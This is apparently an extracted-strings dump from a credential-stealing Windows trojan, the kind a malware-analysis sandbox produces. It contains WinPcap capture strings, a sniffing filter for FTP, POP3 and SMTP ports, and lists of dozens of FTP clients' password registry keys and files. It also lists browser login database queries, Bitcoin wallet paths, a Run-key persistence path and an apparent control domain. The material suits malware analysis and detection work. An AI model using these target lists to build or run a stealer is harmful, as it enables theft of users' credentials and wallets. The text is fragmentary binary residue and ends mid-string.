@(#) $Header: /tcpdump/master/libpcap/pcap.c,v 1.112.2.12 2008-09-22 20:16:01 guy Exp $ (LBL)

4.1.1

WinPcap version %s, based on %s

WinPcap version %s (packet.dll version %s), based on %s

@(#) $Header: /tcpdump/master/libpcap/pcap-win32.c,v 1.34.2.8 2008-05-21 22:11:26 gianluca Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/optimize.c,v 1.90.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/nametoaddr.c,v 1.82.2.1 2008/02/06 10:21:47 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/inet.c,v 1.75.2.4 2008-04-20 18:19:24 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/grammar.y,v 1.99.2.2 2007/11/18 02:04:55 guy Exp $ (LBL)

$$$88$$$8

"#-./0123

@(#) $Header: /tcpdump/master/libpcap/gencode.c,v 1.290.2.16 2008-09-22 20:16:01 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/fad-win32.c,v 1.15 2007/09/25 20:34:36 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/etherent.c,v 1.23 2006/10/04 18:09:22 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/bpf_image.c,v 1.27.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/bpf/net/bpf_filter.c,v 1.45.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/bpf_dump.c,v 1.14.4.1 2008/01/02 04:22:16 guy Exp $ (LBL)

%u %u %u %u

{ 0x%x, %d, %d, 0xx },

[x %d]

#0x%x

4*([%d]&0xf)

M[%d]

(d) %-8s %-16s jt %d

jf %d

(d) %-8s %s

malloc: %s

PacketGetAdapterNames: %s

pcap_compile cannot generate filters for a TurboCap port when the PPI linktype is used.

unknown data link type %d

unsupported protocol over mpls

IEEE 802.15.4 link-layer type filtering not implemented

'tcp' modifier applied to %s

'sctp' modifier applied to %s

'udp' modifier applied to %s

'icmp' modifier applied to %s

'igmp' modifier applied to %s

'igrp' modifier applied to %s

'pim' modifier applied to %s

'vrrp' modifier applied to %s

'icmp6' modifier applied to %s

'ah' modifier applied to %s

'esp' modifier applied to %s

'esis' modifier applied to %s

'isis' modifier applied to %s

'clnp' modifier applied to %s

'stp' modifier applied to %s

'netbeui' modifier applied to %s

'radio' modifier applied to %s

'ip' modifier applied to ip6 %s

'rarp' modifier applied to ip6 %s

'arp' modifier applied to ip6 %s

'decnet' modifier applied to ip6 %s

unknown ip proto '%s'

unknown ether proto '%s'

unknown osi proto '%s'

'protochain' not supported with 802.11

unsupported proto to gen_protochain

'udp proto' is bogus

'tcp proto' is bogus

unknown network '%s'

unknown ether host '%s'

unknown FDDI host '%s'

unknown token ring host '%s'

unknown 802.11 host '%s'

unknown Fibre Channel host '%s'

only ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel supports link-level host name

unknown host '%s'

unknown host '%s'%s

illegal qualifier of 'port'

unknown port '%s'

port '%s' is tcp

port '%s' is sctp

port '%s' is udp

illegal qualifier of 'portrange'

unknown port in range '%s'

port in range '%s' is tcp

port in range '%s' is sctp

port in range '%s' is udp

'gateway' not supported in this configuration

unknown protocol: %s

non-network bits set in "%s mask %s"

non-network bits set in "%s/%d"

invalid ip6 address %s

%s resolved to multiple address

mask length must be <= %u

ethernet addresses supported only on ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel

unsupported index operation

IPv6 upper-layer protocol is not supported by proto[x]

only link-layer/IP broadcast filters supported

link-layer multicast filters supported only on ethernet/FDDI/token ring/ARCNET/802.11/ATM LANE/Fibre Channel

inbound/outbound not supported on linktype %d

libpcap was compiled without pf support

libpcap was compiled on a machine without pf support

802.11 link-layer types supported only on 802.11

frame direction supported only with 802.11 headers

aid supported only on ARCnet

no VLAN support for data link type %d

no MPLS support for data link type %d

'vpi' supported only on raw ATM

'vci' supported only on raw ATM

'callref' supported only on raw ATM

'metac' supported only on raw ATM

'bcc' supported only on raw ATM

'oam4sc' supported only on raw ATM

'oam4ec' supported only on raw ATM

'sc' supported only on raw ATM

'ilmic' supported only on raw ATM

'lane' supported only on raw ATM

'llc' supported only on raw ATM

'fisu' supported only on MTP2

'lssu' supported only on MTP2

'msu' supported only on MTP2

'sio' supported only on SS7

sio value %u too big; max value = 255

'opc' supported only on SS7

opc value %u too big; max value = 16383

'dpc' supported only on SS7

dpc value %u too big; max value = 16383

'sls' supported only on SS7

sls value %u too big; max value = 15

'oam' supported only on raw ATM

'oamf4' supported only on raw ATM

'connectmsg' supported only on raw ATM

'metaconnect' supported only on raw ATM

'port' modifier applied to ip host

'portrange' modifier applied to ip host

%d-%d

%d.%d

malformed decnet address '%s'

decnet name support not included, '%s' cannot be translated

%s for block-local relative jump: off=%d

malloc() failed: %s

%s '%s' %s

Error when listing files: does folder '%s' exist?

%s '%s' %s %s

[%[1234567890:.]]:%[^/]/%s

[%[1234567890:.]]/%s

%[^/:]:%[^/]/%s

%[^/]/%s

Source type not supported

getaddrinfo() %s

(%s) and not (host %s and host %s and port %s and port %s) and not (host %s and host %s and port %s)

not (host %s and host %s and port %s and port %s) and not (host %s and host %s and port %s)

TcApi.dll

TcQueryPortList

TcFreePortList

TcPortGetName

TcPortGetDescription

TcPacketsBufferCreate

TcPacketsBufferDestroy

TcPacketsBufferQueryNextPacket

TcPacketsBufferCommitNextPacket

Error opening TurboCap adapter: %s

Error enabling reception on a TurboCap instance: %s

Error setting the read timeout a TurboCap instance: %s

Getting the non blocking status is not available for TurboCap ports

Setting the non blocking status is not available for TurboCap ports

send error: the TurboCap API does not support packets larger than 64k

send error: TcPacketsBufferCreate failure: %s (x)

send error: TcInstanceTransmitPackets failure: %s (x)

send error: TcPacketsBufferCommitNextPacket failure: %s (x)

read error, TcInstanceReceivePackets failure: %s (x)

read error, TcPacketsBufferQueryNextPacket failure: %s (x)

TurboCap error setting the mintocopy: %s (x)

Mode %u not supported by TurboCap devices. TurboCap only supports capture.

TurboCap error in TcInstanceQueryStatistics: %s (x)

TurboCap error in TcStatisticsQueryValue: %s (x)

setfilter, unable to install the filter: %s

PacketGetStats error: %s

Error opening adapter: %s

Cannot determine the network type: %s

Error calling PacketSetMinToCopy: %s

Driver error: cannot set bpf filter: %s

PacketSetReadTimeout: %s

IEEE 802.15.4 with non-ASK PHY data

Bluetooth HCI UART transport layer plus pseudo-header

IEEE 802.15.4

IEEE 802.15.4 with Linux padding

Bluetooth HCI UART transport layer

Juniper Passive Monitor PIC

can't perform operation on activated capture

%s: %s

%s is not one of the DLTs supported by this device

DLT %d is not one of the DLTs supported by this device

That device doesn't support promiscuous mode

That device doesn't support monitor mode

That operation is supported only in monitor mode

Unknown error: %d

Sending packets isn't supported on savefiles

Setting direction is not supported on savefiles

error reading dump file: %s

truncated dump file; tried to read %u captured bytes, only got %lu

Can't write to %s: %s

%s: link-layer type %d isn't supported in savefiles

bogus IPv6 address %s

bogus ethernet address %s

illegal token: %s

illegal char '%c'

%sUnable to get the exact error message

%s%s (code %d)

%s (code %d)

Is the server properly installed on %s? connect() failed: %s

getaddrinfo(): socket type not supported

getaddrinfo(): multicast addresses are not valid when using TCP streams

Cannot retrieve the extended statistics from a file or a TurboCap port

PacketGetStatsEx error: %s

Cannot transmit a queue to an offline capture or to a TurboCap port

Impossible to set user buffer while reading from a file or on a TurboCap port

Error: invalid size %d

live dump needs a physical interface supported by the NPF driver

wrong interface type. A physical interface supported by the NPF driver is needed

e:\releases\winpcap_4_1_0_1753\winpcap\wpcap\PRJ\Release\x86\wpcap.pdb

WS2_32.dll

packet.dll

KERNEL32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

wpcap.dll

> >$>(>,>

: :$:(:,:0:4:

7*848=8`8

?'?,?0?4?]?

3 3<3@3`3

.Xa6(

Export

system32\drivers\NPF.sys

SYSTEM\CurrentControlSet\Services\%s

\\.\%s

\\.\Global\%s

npp\ndisnpp.dll

e:\releases\winpcap_4_1_0_1753\winpcap\packetNtx\Dll\Project\Release\x86\Packet.pdb

VERSION.dll

NPPTools.dll

iphlpapi.dll

RegOpenKeyExW

RegCloseKey

RegEnumKeyW

RegOpenKeyExA

ADVAPI32.dll

ole32.dll

1"1 141;1

435:5`5|5

0&10191\1

9.:4:8:<:@:

= =@=`=|=

: this object doesn't support resynchronization

StreamTransformation: this object doesn't support random access

CryptoMaterial: this object does not support precomputation

GeneratableCryptoMaterial: this object does not support key/parameter generation

PK_MessageEncodingMethod: this signature scheme does not support message recovery

/index.html

HTTP/1.1

text/html; charset=windows-1251

The requested URL

HTTP/1.1

Clean up all keys.

Use next keys:

REG keys[

Use REG keys:

Gen new port key!

Gen new job key!

Gen new list key!

/dev/index.html

No i key:

No m key:

No p key:

No j key:

No r key:

Err in ID key: decr:

Err in ID key: check

Err in ID key: invalid

fahhtaz.biz

Check Compromzed REG key:

Compromzed REG key:

C:\boost\include\boost-1_47\boost/exception/detail/exception_ptr.hpp

Keys3

Appkey

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

webscanx

hkcmd

firefox

em_exec

CrashReport

\tmp.exe

*.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Mozilla/5.0 (Windows; U; Windows NT

; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17

SMTP:

%d.%d.%d.%d

!#$%&'* -/=?^_`{|}~

.in-addr.arpa

: Maximum attempts exeeded

%s, %d %s %d d:d:d %cdd

dddddd

ddddd

x.8lx$.8lx$x@%s

----=_NextPart_d_X_.8lX..8lX

password

F/c "start Í%\

&& %windir%\explorer Í%\

%SystemRoot%\system32\shell32.dll

npf.sys

Packet.dll

( tcp dst port 21 ) or ( tcp dst port 110 ) or ( tcp dst port 25 )

smtp

pop3_smtp

HostPassword

HostPort

32BitFtp.ini

0003DFTP

3D-FTP

sites.ini

\3D-FTP

Password

Port

port

QData.dat

ESTdb2.dat

\Estsoft\ALFTP

TYPE = SFTP

sftp

SET PASS

bitkinex.ds

LastPassword

LastPort

BlazeFtp

site.dat

\BlazeFtp

Software\FlashPeak\BlazeFtp\Settings

*.dat

*.bps

Software\BPFTP

Chrome

ftp://

origin_url

password_value

logins

SQLite format 3

Web Data

Google\Chrome

ChromePlus

Nichrome

MapleStudio\ChromePlus

browser.yandex

Software\ChromePlus

_Password

FtpServer

FtpUserName

FtpPassword

_FtpPassword

FtpDirectory

FtpDescription

Software\NCH Software\ClassicFTP\FTPAccounts

FTP destination server

FTP destination user

FTP destination password

FTP destination catalog

FTP destination port

FTP profiles

Software\FTPWare\COREFTP\Sites

ftps

CSMFTPItem

sm.dat

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

user.config

*.duck

Nickname

sites.xml

DeluxeFTP

FTP-Now

FTPNow

FTP Now

PASSWORD

PORT

*.oxc

*.oll

ftplast.osd

EasyFTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

\Plugins\FTP\Hosts

\SavedDialogHistory\FTPHost

FTPList.db

DefaultPassword

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Server.Port

Server.Pass

Server.User

Server.Host

Last Server Port

Last Server Pass

Sites.dat

Quick.dat

History.dat

ServerPass

SharedSettings.ccs

SharedSettings_1_0_5.ccs

SharedSettings.sqlite

SharedSettings_1_0_5.sqlite

FreshFTP

*.SMF

FtpSite.xml

QuickFtp

FTP Commander

usessh

ftplist.txt

FTP Navigator

*.prf

FTP CONTROL

PasswordType

CFTPToolBarComboBoxButton

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

ftpx

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

\FTPInfo

RushSite.xml

\FTPRush

FTPShell

ftpshell.fsi

servers.xml

\FTPGetter

server_user_password

server_port

SM.arch

GoFTP

Goftp Rocks 91802sfaiolpqikeu39

Connections.txt

MS IE FTP Passwords

pstorec.dll

advapi32.dll

sites.dat

unleap.exe

\LeapWare\LeapFTP

LeechFTP Bookmark File.

bookmark.dat

Software\LeechFTP

LeechFTP

LINASFTP1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ

Software\LinasFTP\Site Manager

Mozilla

nss3.dll

PK11_GetInternalKeySlot

sqlite3_close

sqlite3_column_blob

sqlite3_column_bytes

sqlite3_prepare

sqlite3_step

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

mozsqlite3.dll

sqlite3.dll

sqlite3_open

signons.sqlite

signons.txt

signons2.txt

signons3.txt

\profiles.ini

PathToExe

Mozilla\Firefox

Firefox

Software\Mozilla

SeaMonkey

Mozilla\SeaMonkey

Mozilla\Profiles

remote password

remote port

My FTP

project.ini

klfhuw%$#%fgjlvf

NDSites.ini

FTP .Link\shell\open\command

*.fpl

xxx.xiles.net

ftpsite.ini

NppFTP.xml

nppftp

MasterPass

user_pass

host_port

SQLite3

bmk_ftp

NovaFTP.db

\INSoftware\NovaFTP

SiteInfo.QFP

PortNumber

SOFTWARE\Robo-FTP 3.8\FTPServers

SOFTWARE\Robo-FTP 3.7\FTPServers

S:"Password"

D:"Transfer Port"

*.ini

*.xml

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\SmartFTP

Favorites.dat

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

Staff-FTP

C87BC961-AAF9-11d2-8A80-0080ADB32FF4

sites.db

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

\Whisper Technology\FTP Surfer

TurboFTP@

TurboFTP@usa.net

turboftp@

Software\TurboFTP

\TurboFTP

addrbk.dat

quick.dat

PassWord

Software\South River Technologies\WebDrive\Connections

Software\Cryer\WebSitePublisher

WinFTP

your.name@your.server.com

FTPServers.Servers1_FTPServers

_PassWord

_Port

wiseftpsrvs.bin

wiseftpsrvs.ini

wiseftp.ini

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

WS_FTP

\win.ini

Ipswitch\WS_FTP

Software\Ghisler\Windows Commander

\Windows Commander

\wcx_ftp.ini

FtpIniName

*.xfp

FAR Manager FTP

Windows/Total Commander

TurboFTP

WebSitePublisher

SoftX FTP Client

LeapFTP

32bit FTP

FTP Control

CuteFTP

FFFTP

Core FTP

WebDrive

Classic FTP

FTP Explorer

SmartFTP

FreeFTP/DirectFTP

FTPRush

FTPGetter

ALFTP

3DFTP

XFTP

TFTPInfo

MyFTP

NovaFTP

&#xX;

%s="%s"

%s='%s'

<![CDATA[%s]]>

version="%s"

encoding="%s"

standalone="%s"

crypt32.dll

%Documents and Settings%

\Application Data\Bitcoin\wallet.dat

C:\Users

\AppData\Roaming\Bitcoin\wallet.dat

GetKeyboardState

SetKeyboardState

KeySize

: this object does't support a special last block

NullRNG: NullRNG should only be passed to functions that don't need to generate random bytes

: this object doesn't support multiple channels

is not a valid key length

InvertibleRSAFunction: computational error during private key operation

TF_SignerBase: this algorithm does not support messsage recovery or the key is too short

TF_SignerBase: the recoverable message part is too long for the given key and algorithm

for this key

: this key is too short to encrypt any messages

for this public key

PK_Signer: key too short for this signature scheme

operation failed with error

?#%X.y

.?AVwindows_file_codecvt@@

zcÁ

.PAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@

.?AV?$sp_ms_deleter@V?$connection@Vhttp_simple_client@http@net_utils@@@net_keys@@@detail@boost@@

.?AV?$typeid_wrapper@V?$stream_socket_service@Vtcp@ip@asio@boost@@@asio@boost@@@detail@asio@boost@@

.?AVmoniker_helper@monkeys@@

.?AVmonkey_swap_nibbles@monkeys@@

.?AVmonkey_xor@monkeys@@

.?AVmonkey_running_xor@monkeys@@

.?AVmonkey_swap@monkeys@@

.?AVmonkey_reverse@monkeys@@

.?AVmonkey_roll_n@monkeys@@

.?AVmonkey_bits_pack@monkeys@@

.?AVmonkey_wave@monkeys@@

.?AV?$bind_t@_NV?$mf4@_NVhttp_simple_client@http@net_utils@@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@HII@_mfi@boost@@V?$list5@U?$arg@$00@boost@@V?$value@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@_bi@2@V?$value@H@42@V542@V542@@_bi@3@@_bi@boost@@

.?AV?$bind_t@_NV?$mf2@_NV?$proxy@Vhttp_simple_client@http@net_utils@@@net_keys@@II@_mfi@boost@@V?$list3@V?$value@PAV?$proxy@Vhttp_simple_client@http@net_utils@@@net_keys@@@_bi@boost@@V?$value@I@23@V423@@_bi@3@@_bi@boost@@

.?AV?$typeid_wrapper@V?$socket_acceptor_service@Vtcp@ip@asio@boost@@@asio@boost@@@detail@asio@boost@@

.?AV?$typeid_wrapper@V?$resolver_service@Vtcp@ip@asio@boost@@@ip@asio@boost@@@detail@asio@boost@@

.?AV?$bind_t@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$cmf0@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@Vreg_keys_holder@reg_win@@@_mfi@boost@@V?$list1@U?$arg@$00@boost@@@_bi@5@@_bi@boost@@

.?AV?$bind_t@_NP6A_NAAVholder_key@reg_win@@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@ABVparser_holder@ftp_locker@ftp_parser@@@ZV?$list3@U?$arg@$00@boost@@U?$arg@$01@2@V?$value@Vparser_holder@ftp_locker@ftp_parser@@@_bi@2@@_bi@boost@@@_bi@boost@@

.?AV?$bind_t@_NP6A_NAAVholder_key@reg_win@@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@11ABVparser_holder@ftp_locker@ftp_parser@@@ZV?$list5@U?$arg@$00@boost@@U?$arg@$01@2@V?$value@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@_bi@2@V452@V?$value@Vparser_holder@ftp_locker@ftp_parser@@@52@@_bi@boost@@@_bi@boost@@

.?AUNoChannelSupport@BufferedTransformation@CryptoPP@@

.?AVInvalidKeyLength@CryptoPP@@

.?AVPublicKeyAlgorithm@CryptoPP@@

.?AVPrivateKeyAlgorithm@CryptoPP@@

.?AVPrivateKey@CryptoPP@@

.?AV?$ASN1CryptoMaterial@VPrivateKey@CryptoPP@@@CryptoPP@@

.?AVPKCS8PrivateKey@CryptoPP@@

.?AVPublicKey@CryptoPP@@

.?AV?$ASN1CryptoMaterial@VPublicKey@CryptoPP@@@CryptoPP@@

.?AVX509PublicKey@CryptoPP@@

.?AV?$VariableKeyLength@$0BA@$0BA@$0CA@$07$03$0A@@CryptoPP@@

.?AVSimpleKeyingInterface@CryptoPP@@

.?AV?$SimpleKeyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@

.?AV?$AlgorithmImpl@V?$SimpleKeyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@V12@@CryptoPP@@

.PAVRSAFunction@CryptoPP@@

.PAVInvertibleRSAFunction@CryptoPP@@

.PBVPrimeSelector@CryptoPP@@

.?AVInvalidKeyLength@PK_SignatureScheme@CryptoPP@@

.?AVKeyTooShort@PK_SignatureScheme@CryptoPP@@

.?AV?$VariableKeyLength@$0BA@$00$0BAA@$00$03$0A@@CryptoPP@@

.?AV?$SimpleKeyingInterfaceImpl@VARC4_Base@Weak1@CryptoPP@@V123@@CryptoPP@@

.?AV?$AlgorithmImpl@V?$SimpleKeyingInterfaceImpl@VARC4_Base@Weak1@CryptoPP@@V123@@CryptoPP@@VARC4_Base@Weak1@2@@CryptoPP@@

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\temp3297822988.exe

%WinDir%

%System%\drivers\

%System%\

CreateIoCompletionPort

GetWindowsDirectoryA

GetSystemWindowsDirectoryA

RegQueryInfoKeyA

RegCreateKeyExA

RegEnumKeyExA

MapVirtualKeyA

HttpOpenRequestA

HttpSendRequestA

InternetCrackUrlA

HttpQueryInfoA

%m5V%L%d%h%w%9º"1@f[:B

3,#9'/($*

]<%cW

.-/&00((00

5-9,0000

###03# 1#

!&]#### -###))558)

##-;##=4--#

# 0-\# ; ;####3<</pre><pre>[5#>=@5#</pre><pre>#)0#3#>#</pre><pre>###66## . </pre><pre># #-#1?6)</pre><pre>"- -#%-)</pre><pre>(88($(80@</pre><pre>8$,$ $0 80(,,</pre><pre>,4840$,(\8$$@(</pre><pre><004(@4$0$0($<8,($</pre><pre>.reloc</pre><pre>%7xh#/^QQl2X</pre><pre>.-/&00((</pre><pre>F).sB</pre><pre>'9';ð</pre><pre>4R.Ea</pre><pre>DNSAPI.dll</pre><pre>IPHLPAPI.DLL</pre><pre>MSWSOCK.dll</pre><pre>OLEAUT32.dll</pre><pre>PSAPI.DLL</pre><pre>SHELL32.dll</pre><pre>USER32.dll</pre><pre>WININET.dll</pre><pre>\Registry\Machine\System\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\</pre><pre>\Registry\Machine\System\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}</pre><pre>\Registry\Machine\System\CurrentControlSet\Services\Tcpip\Linkage</pre><pre>npf.sys (NT5/6 x86) Kernel Driver</pre><pre>4.1.0.1753</pre><pre>5755555555</pre><pre>5555555</pre><pre>577777555555</pre><pre>0000001111111</pre><pre>11111122222222</pre><pre>6666668</pre><pre>88888888</pre><pre>,-./0123456789</pre><pre>$567$$=></pre><pre>.pqrst</pre><pre>$%&'()* ,</pre><pre>wpcap.dll Dynamic Link Library - based on libpcap 1.0rel0b branch (20091008)</pre><pre>SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces</pre><pre>TcpIp</pre><pre>SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}</pre><pre>SYSTEM\CurrentControlSet\Services\Tcpip\Linkage</pre><pre>drivers\NPF.sys</pre><pre>airpcap.dll</pre><pre>\StringFileInfo\xx\FileVersion</pre><pre>PACKET.DLL</pre><pre>packet.dll (NT5) Dynamic Link Library</pre><pre>abe2869f-9b47-4cd9-a358-c22904dba7f7</pre>temp3297822988.exe_380_rwx_00380000_00001000:<pre>kErNeL32.DLL</pre><pre>hrt.dhmsvcT</pre>temp3297822988.exe_380_rwx_00401000_0023C000:<pre>FTPQ</pre><pre>PSSSSSSh</pre><pre>FTPS</pre><pre>~$)~()|$</pre><pre>3|$83|$0</pre><pre>3|$<3|$0</pre><pre>3|$@3|$4</pre><pre>.QZ^&</pre><pre>vSSSh</pre><pre>FTPjK</pre><pre>FtPj;</pre><pre>C.PjRV</pre><pre>tGHt.Ht&</pre><pre>Local\{C15730E2-145C-4c5e-B005-3BC753F42475}-once-flag</pre><pre>Can't terminate a sub-expression with an alternation operator |.</pre><pre>A regular expression can start with the alternation operator |.</pre><pre>Alternation operators are not allowed inside a DEFINE block.</pre><pre>More than one alternation operator | was encountered inside a conditional expression.</pre><pre>A repetition operator cannot be applied to a zero-width assertion.</pre><pre>Invalid alternation operators within (?...) block.</pre><pre>The \c and \C escape sequences are not supported by POSIX basic regular expressions: try the Perl syntax instead.</pre><pre>Found a closing repetition operator } with no corresponding {.</pre><pre>The repeat operator " " cannot start a regular expression.</pre><pre>The repeat operator "?" cannot start a regular expression.</pre><pre>The repeat operator "*" cannot start a regular expression.</pre><pre>right-curly-bracket</pre><pre>left-curly-bracket</pre><pre>0123456789</pre><pre>Unmatched quantified repeat operator { or \{.</pre><pre>Invalid preceding regular expression prior to repetition operator.</pre><pre>deflate 1.2.5 Copyright 1995-2010 Jean-loup Gailly and Mark Adler</pre><pre>1.2.5</pre><pre>inflate 1.2.5 Copyright 1995-2010 Mark Adler</pre><pre>boost::filesystem::directory_iterator::operator </pre><pre>Visual C CRT: Not enough memory to complete call to strerror.</pre><pre>Please contact the application's support team for more information.</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>portuguese-brazilian</pre><pre>Broken pipe</pre><pre>Inappropriate I/O control operation</pre><pre>Operation not permitted</pre><pre>operator</pre><pre>GetProcessWindowStation</pre><pre>USER32.DLL</pre><pre>login</pre><pre>Mozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0</pre><pre>Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00</pre><pre>Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14</pre><pre>Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14</pre><pre>Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14</pre><pre>Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1</pre><pre>Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1</pre><pre>Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3</pre><pre>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</pre><pre>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2</pre><pre>Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112)</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)</pre><pre>Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)</pre><pre>Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)</pre><pre>Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)</pre><pre>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 5.0; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130331 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130330 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130331 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130401 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.2; rv:21.0) Gecko/20130326 Firefox/21.0</pre><pre>Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 